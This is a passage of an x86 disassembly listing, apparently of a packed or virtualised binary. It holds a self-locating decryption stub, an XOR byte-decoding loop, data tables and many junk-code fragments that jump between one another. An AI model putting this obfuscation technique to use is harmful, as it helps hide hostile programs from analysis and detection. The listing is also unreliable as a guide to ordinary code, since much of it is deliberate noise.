		mov	ebp, [ebp+5D1125Dh]
		mov	eax, 1
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_57147D
; ---------------------------------------------------------------------------
		jmp	short $+2
; START	OF FUNCTION CHUNK FOR sub_57147D


loc_5716B0:				; CODE XREF: sub_57147D+202j
		mov	dword ptr [ebp+5D12401h], 1
		mov	esp, [ebp+5D1307Dh]
		mov	esi, [ebp+5D12265h]
		mov	ebp, [ebp+5D1125Dh]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5716D1:				; CODE XREF: sub_57147D+1B5j
		cmp	dword ptr [ebp+5D12801h], 0
		jz	short loc_5716E9
		cmp	dword ptr [ebp+5D1030Dh], 0
		jz	short loc_5716E9
		call	dword ptr [ebp+5D1030Dh]


loc_5716E9:				; CODE XREF: sub_57147D+25Bj
					; sub_57147D+264j
		mov	esi, [ebp+5D14C4Fh]
		retn
; END OF FUNCTION CHUNK	FOR sub_57147D
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+5D11819h]
		mov	[ebp+5D10EF1h],	ebx
		mov	edx, 0
		mov	dl, 76h
		jnz	loc_571711
		ja	loc_571711
		pusha
		popa


loc_571711:				; CODE XREF: ud2_____:00571703j
					; ud2_____:00571709j
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_571721
; ---------------------------------------------------------------------------


loc_57171F:				; CODE XREF: ud2_____:00571724j
		inc	eax
		inc	edi


loc_571721:				; CODE XREF: ud2_____:0057171Dj
		cmp	byte ptr [edi],	0
		jnz	short loc_57171F
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_571750
; ---------------------------------------------------------------------------


loc_57172D:				; CODE XREF: ud2_____:00571752j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_571745
; ---------------------------------------------------------------------------


loc_571742:				; CODE XREF: ud2_____:00571748j
		mul	ebx
		dec	esi


loc_571745:				; CODE XREF: ud2_____:00571740j
		cmp	esi, 0
		ja	short loc_571742
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_571750:				; CODE XREF: ud2_____:0057172Bj
		or	eax, eax
		jnz	short loc_57172D
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		clc
		jmp	loc_57176E
; ---------------------------------------------------------------------------
		dd 0EFF1509Eh, 3B74DA1h
		db 90h
		db 34h
; ---------------------------------------------------------------------------


loc_57176E:				; CODE XREF: ud2_____:0057175Fj
		jns	loc_57177C
		jnz	loc_57177C
		push	esi
		pop	ebx


loc_57177C:				; CODE XREF: ud2_____:loc_57176Ej
					; ud2_____:00571774j
		mov	eax, ecx
		jmp	loc_59304B
; ---------------------------------------------------------------------------
		db 94h
		dd 0E00012FFh, 90FFFE5Bh, 0F74393A4h, 9C005A1Fh, 9C0012FFh
		dd 0F20012FFh, 238A5D3h, 2000002h, 1000000h, 6000000h
		dd 28000000h, 0FA859Eh,	4 dup(0)
		dd 8B000000h, 0C70057D5h, 0FF00574Ch, 6100576Eh, 0CB005775h
		dd 8E005796h, 180057A3h, 0F600572Bh, 7E0057AAh,	66005744h
		dd 1A00573Ah, 7B0057DCh, 88005733h, 580057AEh, 120057BAh
		dd 93005731h, 5B00573Ah, 37005738h, 9B005787h, 0C300579Bh
		dd 65005765h, 0D2005749h, 0F6005741h, 75005757h, 8E00576Dh
		dd 1100574Bh, 0CB005790h, 0C000574Dh, 0B800577Ch, 2C005725h
		dd 0E500578Eh, 83005757h, 0F70057D7h, 0DC00574Ah, 7600575Fh
		dd 41005781h, 4005797h,	1A005736h, 5A005740h, 8500573Dh
		dd 1E005744h, 0A2005785h, 3D00579Ah, 0A9005796h, 0DD0057C2h
		dd 43005783h, 230057D9h, 42005720h, 4600577Fh, 0BE005795h
		dd 0D8005746h, 90005742h, 8100573Eh, 0E00057D2h, 170057A9h
		dd 7600574Dh, 3F005793h, 26005795h, 50005796h, 0FB0057BEh
		dd 2C00577Ch, 79005762h, 0CC00579Ch, 0CE005762h, 0B900575Eh
		dd 0C0057D4h, 0CC0057B8h, 0E4005754h, 80057B1h,	5E0057B6h
		dd 0BD00577Eh, 1000575Eh, 7A005734h, 0E1005726h, 8B005729h
		dd 0BA0057B6h, 0DA005743h, 300057DBh, 820057C7h, 0DA0057C5h
		dd 36005791h, 0AF0057C4h, 900057B3h, 0CC0057B0h, 85005771h
		dd 4F005764h, 610057BBh, 71005744h, 0BE0057C4h,	0BA0057CEh
		dd 91005760h, 13005762h, 3E00579Ah, 700057C1h, 0F10057B1h
		dd 8005765h, 84005770h,	0F8005732h, 0FB005740h,	0CC005792h
		dd 3D0057C5h, 0B9005755h, 250057D0h, 360057D3h,	0B30057CBh
		dd 6E00575Ah, 710057C5h, 0C00057D4h, 46005744h,	8700575Fh
		dd 9A00573Ch, 0FB005756h, 0C600572Dh, 0A5005794h, 0C3005768h
		dd 2B0057AFh, 9100578Bh, 0E1005793h, 0D90057A4h, 4F005736h
		dd 9400577Ch, 0A5005775h, 5D00575Dh, 6A005787h,	4F00572Fh
		dd 6B005745h, 4B00576Fh, 0DD005748h, 8300574Dh,	0C30057A2h
		dd 100574Ah, 0CA005786h, 0A20057CBh, 0AC0057A1h, 32005778h
		dd 0E0005748h, 6200578Dh, 240057A4h, 100057D4h,	0DB00574Eh
		dd 0CE00575Bh, 16005772h, 0AB0057D0h, 0B7005726h, 31005790h
		dd 91005799h, 0DB005790h, 5F005723h, 15005762h,	0DD005750h
		dd 0BE0057B4h, 4100573Ch, 270057B6h, 0E00057BDh, 0DB00571Ah
		dd 0D200576Ch, 500057D0h, 470057B1h, 0E600572Dh, 0BF005778h
		dd 0C000572Eh, 6500576Bh, 83005746h, 1D00571Eh,	8F0057ABh
		dd 0D3005726h, 980057B6h
		db 3Ch,	57h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_571A63:				; CODE XREF: ud2_____:00593117j
					; ud2_____:00593121j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 5D17C43h
		mov	eax, edi
		add	edi, 5D1795Bh
		cmp	eax, [edi+2Ch]
		jnz	short loc_571A81
		jmp	short loc_571A94
; ---------------------------------------------------------------------------


loc_571A81:				; CODE XREF: sub_59C59F-2AB22j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_571A90
; ---------------------------------------------------------------------------


loc_571A8B:				; CODE XREF: sub_59C59F-2AB0Dj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_571A90:				; CODE XREF: sub_59C59F-2AB16j
		or	ecx, ecx
		jnz	short loc_571A8B


loc_571A94:				; CODE XREF: sub_59C59F-2AB20j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_571AA1:				; CODE XREF: sub_59C59F-2AAF7j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_571AA1


loc_571AAA:				; CODE XREF: ud2_____:loc_571BD9j
					; ud2_____:00571C02j ...
		lodsb
		xor	al, bl
		jmp	loc_577953
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_571AB2:				; CODE XREF: ud2_____:0057474Aj
		pop	eax
		push	esi
		mov	esi, 0C4E513Bh
		sub	eax, esi
		pop	esi
		sub	esp, 4
		jmp	loc_57828F
; ---------------------------------------------------------------------------


loc_571AC7:				; CODE XREF: ud2_____:00577429j
		add	esp, 4
		not	al
		sub	al, 0FFh
		xor	al, 58h
		mov	bh, al
		mov	eax, [esp]
		jmp	loc_573013
; ---------------------------------------------------------------------------


loc_571ADA:				; CODE XREF: ud2_____:00579E1Dj
		pop	edx
		jmp	loc_57B219
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	52CCh
		mov	[esp], ecx
		jmp	loc_578E57
; ---------------------------------------------------------------------------


loc_571AF7:				; CODE XREF: ud2_____:00574492j
		add	esp, 4
		push	ebp
		mov	ebp, 75C91E34h
		and	ebp, 65E70F6h
		or	ebp, 319F215Ch
		add	ebp, 0EA1A4922h
		add	ebx, ebp
		jmp	loc_57B02D
; ---------------------------------------------------------------------------


loc_571B19:				; CODE XREF: ud2_____:00573358j
		mov	[esp], edx
		push	4
		pop	edx
		mov	ebx, edx
		pop	edx
		jmp	loc_57AA78
; ---------------------------------------------------------------------------


loc_571B2A:				; CODE XREF: ud2_____:00579B24j
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_57D232
; ---------------------------------------------------------------------------


loc_571B3D:				; CODE XREF: ud2_____:0057215Fj
		pop	edi
		xor	edi, 802BA3F3h
		mov	ebp, edi
		pop	edi
		add	edx, ebp
		jmp	loc_571E36
; ---------------------------------------------------------------------------


loc_571B4E:				; CODE XREF: ud2_____:00578590j
		mov	ecx, 149F606Ah
		dec	ecx
		jmp	loc_5751BA
; ---------------------------------------------------------------------------


loc_571B59:				; CODE XREF: ud2_____:00575D0Bj
		add	esp, 4
		jmp	loc_571EF5
; ---------------------------------------------------------------------------


loc_571B64:				; CODE XREF: ud2_____:00576FD9j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_57D53A
; ---------------------------------------------------------------------------


loc_571B83:				; CODE XREF: ud2_____:00578A03j
		mov	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_579E0B
; ---------------------------------------------------------------------------


loc_571B8E:				; CODE XREF: ud2_____:00577450j
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_579B07
; ---------------------------------------------------------------------------


loc_571B9C:				; CODE XREF: ud2_____:0057B18Aj
		pop	edi
		mov	ecx, 89A2A844h
		jmp	loc_578EBB
; ---------------------------------------------------------------------------


loc_571BA7:				; CODE XREF: ud2_____:0057A628j
		and	ebx, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		jmp	loc_57C367
; ---------------------------------------------------------------------------


loc_571BB5:				; CODE XREF: ud2_____:00572134j
		dec	eax
		dec	eax
		sub	eax, 4938395Fh
		xor	eax, 1D760753h
		jmp	loc_5750D8
; ---------------------------------------------------------------------------


loc_571BC6:				; CODE XREF: ud2_____:00572FAEj
		mov	ebp, 25C333E8h
		shr	ebp, 4
		add	ebp, 36091144h
		jmp	loc_577C83
; ---------------------------------------------------------------------------


loc_571BD9:				; CODE XREF: ud2_____:00579933j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_571BDE:				; CODE XREF: ud2_____:0057350Aj
		add	esp, 4
		xor	ecx, 5C1D7D59h
		push	ecx
		push	ebp
		jmp	loc_574E85
; ---------------------------------------------------------------------------


loc_571BF1:				; CODE XREF: ud2_____:0057A552j
		mov	[esp], eax
		jmp	loc_57363F
; ---------------------------------------------------------------------------


loc_571BF9:				; CODE XREF: ud2_____:0057AD04j
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_571C07:				; CODE XREF: ud2_____:0057359Dj
		neg	cl
		not	cl
		neg	cl
		add	cl, 0B7h
		jmp	loc_57A83D
; ---------------------------------------------------------------------------


loc_571C15:				; CODE XREF: ud2_____:0057C3A5j
		mov	al, 9Ch
		jmp	loc_578575
; ---------------------------------------------------------------------------


loc_571C1C:				; CODE XREF: ud2_____:00574B22j
		push	edi
		jmp	loc_5779B4
; ---------------------------------------------------------------------------


loc_571C22:				; CODE XREF: ud2_____:00572870j
		sub	eax, edi
		add	eax, 3D204BAEh
		add	eax, 4603677h
		sub	eax, 6FFA1E8Fh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_576786
; ---------------------------------------------------------------------------


loc_571C41:				; CODE XREF: ud2_____:00578A6Dj
		push	533Ah
		jmp	loc_578464
; ---------------------------------------------------------------------------


loc_571C4B:				; CODE XREF: ud2_____:00578433j
		mov	ebp, 4
		jmp	loc_576A10
; ---------------------------------------------------------------------------


loc_571C55:				; CODE XREF: ud2_____:00578878j
		xchg	edi, [esp]
		pop	esp
		add	edx, 4
		jmp	loc_5753EE
; ---------------------------------------------------------------------------


loc_571C64:				; CODE XREF: ud2_____:0057A063j
		mov	ebx, esi
		pop	esi
		mov	eax, [esp]
		jmp	loc_57B047
; ---------------------------------------------------------------------------


loc_571C6F:				; CODE XREF: ud2_____:00575C0Dj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6FC35F6Fh
		jmp	loc_57CD56
; ---------------------------------------------------------------------------


loc_571C7F:				; CODE XREF: ud2_____:00576FB4j
		mov	edi, 52FA7A02h
		xor	edi, esi
		mov	esi, [esp]
		jmp	loc_57C10B
; ---------------------------------------------------------------------------


loc_571C8E:				; CODE XREF: ud2_____:0057B264j
		push	ecx
		mov	ecx, 6F093D3Ah
		shr	ecx, 6
		jmp	loc_573A2B
; ---------------------------------------------------------------------------


loc_571C9C:				; CODE XREF: ud2_____:0057AEA3j
		mov	bh, 89h
		xor	bh, dh
		pop	edx
		jmp	loc_574C37
; ---------------------------------------------------------------------------


loc_571CA6:				; CODE XREF: ud2_____:00579513j
		push	ebp
		push	eax
		push	12CF189Fh
		pop	eax
		jmp	loc_575CF8
; ---------------------------------------------------------------------------


loc_571CB3:				; CODE XREF: ud2_____:0057D111j
		shl	edi, 4
		jmp	loc_57CBF5
; ---------------------------------------------------------------------------


loc_571CBB:				; CODE XREF: ud2_____:00573294j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_57CDCF
; ---------------------------------------------------------------------------


loc_571CC9:				; CODE XREF: ud2_____:0057B495j
		add	eax, 4A4644D7h
		add	eax, ebp
		sub	eax, 4A4644D7h
		jmp	loc_5761F5
; ---------------------------------------------------------------------------


loc_571CDA:				; CODE XREF: ud2_____:0057A11Ej
		push	1F0h
		mov	[esp], ebx
		push	esi
		mov	esi, 78F73412h
		jmp	loc_57336F
; ---------------------------------------------------------------------------


loc_571CED:				; CODE XREF: ud2_____:005756FEj
		sub	edi, 96A7DBF3h
		xor	eax, edi
		jmp	loc_577A80
; ---------------------------------------------------------------------------


loc_571CFA:				; CODE XREF: ud2_____:005747C5j
		mov	ecx, 0CEF27D0Eh
		sub	ebx, ecx
		jmp	loc_5797F8
; ---------------------------------------------------------------------------


loc_571D06:				; CODE XREF: ud2_____:005761F0j
		pop	ecx
		jmp	loc_57837B
; ---------------------------------------------------------------------------


loc_571D0C:				; CODE XREF: ud2_____:0057B686j
		add	edi, 0C056F82h
		push	edx
		push	edi
		push	6DDF10E7h
		mov	edi, [esp]
		jmp	loc_57B365
; ---------------------------------------------------------------------------


loc_571D21:				; CODE XREF: ud2_____:005745B6j
		xor	edx, 7683B80Fh
		add	esi, edx
		pop	edx
		push	ebx
		mov	ebx, 4BE64095h
		shr	ebx, 1
		sub	ebx, 157F4AC8h
		inc	ebx
		and	ebx, 612D28FBh
		jmp	loc_5754E7
; ---------------------------------------------------------------------------


loc_571D44:				; CODE XREF: ud2_____:005750E7j
		add	eax, 66335540h
		jmp	loc_573811
; ---------------------------------------------------------------------------


loc_571D4E:				; CODE XREF: ud2_____:00573796j
		pop	edx
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 15421CA3h
		sub	edx, eax
		push	eax
		mov	eax, 15421CA3h
		sub	edx, eax
		pop	eax
		sub	edx, 71966355h
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_571D73:				; CODE XREF: ud2_____:005779D7j
		not	ebp
		add	ebp, 7FB7B59Eh
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_572A5C
; ---------------------------------------------------------------------------


loc_571D85:				; CODE XREF: ud2_____:00572CA8j
		sub	edi, 2B3E1B94h
		dec	edi
		inc	edi
		add	edi, 0B2EFFA86h
		sub	edx, 68015AE6h
		sub	edx, 180A5631h
		add	edx, 54F2F89h
		sub	edx, edi
		jmp	loc_57757E
; ---------------------------------------------------------------------------


loc_571DAC:				; CODE XREF: ud2_____:00579502j
		pop	edi
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_5753E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_571DB8:				; CODE XREF: sub_59C59F-29041j
		add	dl, al
		push	ebx
		push	ecx
		mov	cl, 0CCh
		sub	cl, 0C4h
		shr	cl, 8
		sub	cl, 0FFh
		jmp	loc_575B57
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_571DCC:				; CODE XREF: ud2_____:005799F2j
		push	7CDDh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_573109
; ---------------------------------------------------------------------------


loc_571DE8:				; CODE XREF: ud2_____:00576D6Aj
		sub	ebx, 397D3D61h
		jmp	loc_578D43
; ---------------------------------------------------------------------------


loc_571DF3:				; CODE XREF: ud2_____:00577EDDj
		mov	ch, 0CBh
		add	dl, 81h
		add	dl, ch
		jmp	loc_5734BD
; ---------------------------------------------------------------------------


loc_571DFF:				; CODE XREF: ud2_____:00576DC1j
		mov	esi, [esp]
		jmp	loc_578203
; ---------------------------------------------------------------------------


loc_571E07:				; CODE XREF: ud2_____:0057521Ej
		neg	edi
		push	edx
		mov	edx, 761103C1h
		and	edx, 3A7F3A8Bh
		dec	edx
		dec	edx
		jmp	loc_57AC29
; ---------------------------------------------------------------------------


loc_571E1C:				; CODE XREF: ud2_____:00574479j
		sub	ebp, ebx
		pop	ebx
		jmp	loc_572223
; ---------------------------------------------------------------------------


loc_571E24:				; CODE XREF: ud2_____:00579EA6j
		add	esp, 4
		jmp	loc_57BD6E
; ---------------------------------------------------------------------------


loc_571E2F:				; CODE XREF: ud2_____:0057A96Ej
		mov	ecx, esp
		jmp	loc_57DA9F
; ---------------------------------------------------------------------------


loc_571E36:				; CODE XREF: ud2_____:00571B49j
		pop	ebp
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_573B9E
; ---------------------------------------------------------------------------


loc_571E42:				; CODE XREF: ud2_____:0057D620j
		add	ebx, 0B17580Bh
		jmp	loc_572ACE
; ---------------------------------------------------------------------------


loc_571E4D:				; CODE XREF: ud2_____:0057D8AEj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_57D806
; ---------------------------------------------------------------------------


loc_571E70:				; CODE XREF: ud2_____:0057D4AEj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7E4D30E2h
		jmp	loc_57A329
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_573A1E
; ---------------------------------------------------------------------------


loc_571E8C:				; CODE XREF: ud2_____:0057A6D0j
		or	eax, 2C7157EBh
		jmp	loc_5733CA
; ---------------------------------------------------------------------------


loc_571E96:				; CODE XREF: ud2_____:00578171j
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_572DB5
; ---------------------------------------------------------------------------


loc_571EA9:				; CODE XREF: ud2_____:00572AB6j
		inc	eax
		xor	eax, 82C82E77h
		xor	ecx, eax
		pop	eax
		xor	ebx, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_577A6A
; ---------------------------------------------------------------------------


loc_571ECF:				; CODE XREF: ud2_____:00573E13j
		add	eax, 92E0986h
		mov	ebp, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_579F8C
; ---------------------------------------------------------------------------


loc_571EE3:				; CODE XREF: ud2_____:0057A27Ej
		sub	al, ch
		pop	ecx
		push	edx
		jmp	loc_57BACA
; ---------------------------------------------------------------------------


loc_571EEC:				; CODE XREF: ud2_____:005735C3j
		push	ecx
		mov	cl, 0CCh
		push	edx
		jmp	loc_577AE2
; ---------------------------------------------------------------------------


loc_571EF5:				; CODE XREF: ud2_____:00571B5Fj
		add	dword ptr [esp+4], 2C7B2165h
		add	[esp+4], esi
		push	782Dh
		jmp	loc_57472C
; ---------------------------------------------------------------------------


loc_571F0B:				; CODE XREF: ud2_____:00579CE5j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_576177
; ---------------------------------------------------------------------------


loc_571F21:				; CODE XREF: ud2_____:005774BBj
		push	72470707h
		pop	edi
		sub	edi, 0D9AB1E4h
		mov	eax, edi
		pop	edi
		sub	edx, eax
		pop	eax
		mov	eax, [edx]
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5770F5
; ---------------------------------------------------------------------------


loc_571F46:				; CODE XREF: ud2_____:00579C40j
		mov	ebp, 2B8C27CAh
		jmp	loc_5747DB
; ---------------------------------------------------------------------------


loc_571F50:				; CODE XREF: ud2_____:0057ABB5j
		pop	ebp
		push	1821h
		jmp	loc_57AF94
; ---------------------------------------------------------------------------


loc_571F5B:				; CODE XREF: ud2_____:00575CC8j
		sub	edi, ebp
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, ebx
		jmp	loc_574BB8
; ---------------------------------------------------------------------------


loc_571F72:				; CODE XREF: ud2_____:00574FE4j
		mov	bh, dh
		pop	edx
		mov	ah, [esp+4]
		mov	[esp+4], bh
		jmp	loc_5720A0
; ---------------------------------------------------------------------------


loc_571F82:				; CODE XREF: ud2_____:0057953Aj
		mov	eax, 4624Ch
		xor	edi, eax
		mov	eax, [esp]
		jmp	loc_578D7D
; ---------------------------------------------------------------------------


loc_571F91:				; CODE XREF: ud2_____:0057A55Aj
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_574A2F
; ---------------------------------------------------------------------------


loc_571FA4:				; CODE XREF: ud2_____:00573ADFj
		not	cl
		xchg	cl, dh
		sub	dh, 0FFh
		shl	dh, 4
		push	ecx
		mov	ch, 1Ah
		sub	dh, ch
		pop	ecx
		add	bl, dh
		pop	edx
		add	bl, 41h
		push	eax
		mov	al, 0Fh
		add	bl, al
		pop	eax
		sub	bl, al
		jmp	loc_579ADB
; ---------------------------------------------------------------------------


loc_571FC7:				; CODE XREF: ud2_____:0057D007j
		sub	ecx, 5FEF43FAh
		pop	edi
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_571FE0:				; CODE XREF: ud2_____:00577474j
		mov	eax, [esp]
		add	esp, 4
		xor	eax, edi
		pop	edi
		push	ecx
		jmp	loc_573E89
; ---------------------------------------------------------------------------


loc_571FF2:				; CODE XREF: ud2_____:0057BC88j
		add	ebp, 0DD132BCh
		or	eax, ebp
		pop	ebp
		push	6926h
		mov	[esp], ecx
		mov	ecx, 4EAA25EEh
		add	ecx, 0B27DDF4Ah
		jmp	loc_57CCB1
; ---------------------------------------------------------------------------


loc_572013:				; CODE XREF: ud2_____:005774E4j
		mov	al, 0EFh
		mov	bh, al
		pop	eax
		sub	bh, 0E0h
		and	bh, 5Bh
		jmp	loc_57AE16
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57202C:				; CODE XREF: ud2_____:00577ADDj
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		add	dword ptr [esp], 390A322Ah
		jmp	loc_579877
; ---------------------------------------------------------------------------


loc_572041:				; CODE XREF: ud2_____:0057C0D6j
		push	eax
		mov	eax, esp
		jmp	loc_57D9F4
; ---------------------------------------------------------------------------


loc_572049:				; CODE XREF: ud2_____:00578B0Dj
		mov	[esp], esi
		jmp	loc_57A6B9
; ---------------------------------------------------------------------------


loc_572051:				; CODE XREF: ud2_____:0057212Aj
		push	ebx
		mov	ebx, 3F7E40F3h
		sub	edx, ebx
		pop	ebx
		jmp	loc_57B9E4
; ---------------------------------------------------------------------------


loc_57205F:				; CODE XREF: ud2_____:00575308j
		push	ebp
		mov	ebp, 1A93F0Ah
		xor	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		jmp	loc_574D1F
; ---------------------------------------------------------------------------


loc_572072:				; CODE XREF: ud2_____:0057C76Dj
		not	ebp
		jmp	loc_57297D
; ---------------------------------------------------------------------------


loc_572079:				; CODE XREF: ud2_____:005788DEj
		pop	ebx
		push	edx
		mov	edx, esp
		jmp	loc_57504F
; ---------------------------------------------------------------------------


loc_572082:				; CODE XREF: ud2_____:0057D4A8j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_57A310
; ---------------------------------------------------------------------------


loc_57208B:				; CODE XREF: ud2_____:0057AB53j
		push	edx
		mov	edx, 63432308h
		mov	ebp, edx
		jmp	loc_576AAA
; ---------------------------------------------------------------------------


loc_572098:				; CODE XREF: ud2_____:00576365j
		sub	al, 0A9h
		pop	edx
		jmp	loc_579507
; ---------------------------------------------------------------------------


loc_5720A0:				; CODE XREF: ud2_____:00571F7Dj
		pop	ebx
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5720A6:				; CODE XREF: ud2_____:0057B0EAj
		push	esi
		push	41FB1FE0h
		pop	esi
		xor	esi, 27CF1E6Ch
		add	esi, 3B9C1104h
		dec	esi
		add	esi, 5E2FED75h
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_577806
; ---------------------------------------------------------------------------


loc_5720D0:				; CODE XREF: ud2_____:00574161j
		add	ebp, 4
		add	ebp, 4
		push	4C5Dh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5753D3
; ---------------------------------------------------------------------------


loc_5720EE:				; CODE XREF: ud2_____:00578B48j
		push	esp
		pop	ebx
		push	edx
		mov	edx, 1FD413D3h
		shr	edx, 6
		push	edi
		mov	edi, 7EA76916h
		not	edi
		add	edi, 39FE2088h
		add	edi, 69E62E0Ah
		jmp	loc_575D4D
; ---------------------------------------------------------------------------


loc_572112:				; CODE XREF: ud2_____:0057A3F3j
		pop	ecx
		add	esp, 4
		pop	eax
		xor	ebp, [esp]
		jmp	loc_575614
; ---------------------------------------------------------------------------


loc_572122:				; CODE XREF: ud2_____:00572DBFj
		add	edx, 3F7E40F3h
		add	edx, edi
		jmp	loc_572051
; ---------------------------------------------------------------------------


loc_57212F:				; CODE XREF: ud2_____:00572A10j
		mov	eax, 7C902237h
		jmp	loc_571BB5
; ---------------------------------------------------------------------------


loc_572139:				; CODE XREF: ud2_____:0057D6B6j
		xor	edi, [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_572148:				; CODE XREF: ud2_____:0057686Cj
		add	esi, edi
		pop	edi
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		div	cl
		jmp	loc_57A57A
; ---------------------------------------------------------------------------


loc_57215B:				; CODE XREF: ud2_____:005775BAj
		push	edi
		not	dword ptr [esp]
		jmp	loc_571B3D
; ---------------------------------------------------------------------------


loc_572164:				; CODE XREF: ud2_____:0057843Dj
		pop	esi
		not	esi
		push	edi
		jmp	loc_57C8D7
; ---------------------------------------------------------------------------


loc_57216D:				; CODE XREF: ud2_____:0057A515j
		add	esi, 4
		jmp	loc_573E6E
; ---------------------------------------------------------------------------


loc_572178:				; CODE XREF: ud2_____:005755DBj
		push	eax
		push	40175CF9h
		pop	eax
		not	eax
		xor	eax, 0BFE8A302h
		mov	edx, eax
		pop	eax
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_57942B
; ---------------------------------------------------------------------------


loc_57219D:				; CODE XREF: ud2_____:00576857j
		pop	ebx
		push	eax
		jmp	loc_5797F1
; ---------------------------------------------------------------------------


loc_5721A4:				; CODE XREF: ud2_____:00577887j
		push	759h
		mov	[esp], ecx
		jmp	loc_57B467
; ---------------------------------------------------------------------------


loc_5721B1:				; CODE XREF: ud2_____:0057C387j
		push	1646h
		mov	[esp], ebx
		mov	ebx, 51BA519Bh
		push	ebp
		mov	ebp, 5D27104Ch
		add	[esp+8], ebp
		pop	ebp
		jmp	loc_573046
; ---------------------------------------------------------------------------


loc_5721CE:				; CODE XREF: ud2_____:0057696Fj
		add	al, cl
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_575E5D
; ---------------------------------------------------------------------------


loc_5721DE:				; CODE XREF: ud2_____:0057AAF1j
		pop	esi
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_572A2F
; ---------------------------------------------------------------------------


loc_5721EF:				; CODE XREF: ud2_____:0057B020j
		sub	ebp, edx
		pop	edx
		sub	dword ptr [esp+4], 2A80258Ch
		push	edi
		mov	edi, 12F44230h
		add	[esp+8], edi
		pop	edi
		jmp	loc_57632C
; ---------------------------------------------------------------------------


loc_57220A:				; CODE XREF: ud2_____:005753CEj
		pop	ecx
		push	edx
		mov	edx, esp
		jmp	loc_57D347
; ---------------------------------------------------------------------------


loc_572213:				; CODE XREF: ud2_____:005779FAj
		shr	edi, 4
		not	edi
